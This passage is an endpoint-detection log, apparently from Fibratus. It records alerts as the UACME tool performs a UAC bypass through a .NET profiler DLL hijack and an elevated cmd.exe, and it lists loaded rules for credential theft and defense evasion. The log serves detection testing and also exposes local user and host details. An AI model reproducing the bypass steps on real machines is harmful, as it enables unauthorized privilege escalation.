Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 2438048 + Pid: 15256 + Tid: 4108 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-04 16:24:34.7723234 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 39d217000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffad0de8dec080, name➜ cmd.exe, pid➜ 1808, ppid➜ 15256, real_ppid➜ 15256, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-04 16:24:34.7722691 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack + + Pid: 15256 + Ppid: 7816 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T16:25:08+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 2496490 + Pid: 11736 + Tid: 17496 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-04 16:25:06.4145948 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffd605a1563e40, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, rule.seq.link: 14695981039346656037 + + Pid: 11736 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 2505729 + Pid: 14300 + Tid: 5204 + Type: CreateProcess + CPU: 3 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-04 16:25:07.1085979 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 374dfc000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffad0de2eeb080, name➜ cmd.exe, pid➜ 9104, ppid➜ 14300, real_ppid➜ 14300, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-04 16:25:07.1085466 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack + + Pid: 14300 + Ppid: 11736 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T16:26:28+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 2643241 + Pid: 12448 + Tid: 3092 + Type: SetThreadContext + CPU: 2 + Name: SetThreadContext + Category: thread + Description: + Host: archrabbit + Timestamp: 2025-12-04 16:26:26.9380864 +0100 CET + Params: status➜ Success + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.name: Thread context set from unbacked memory, technique.id: T1055, technique.name: Process Injection + + Pid: 12448 + Ppid: 5276 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Source\Akagi" "--pswd=C:\Fibratus\redteam\UACME\Source\Akagi" "--execution-time=6.9925" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Source\Akagi" "--pswd=C:\Fibratus\redteam\UACME\Source\Akagi" "--execution-time=6.9925" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T16:30:51+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:30:51+01:00 level=info msg=loading rule from 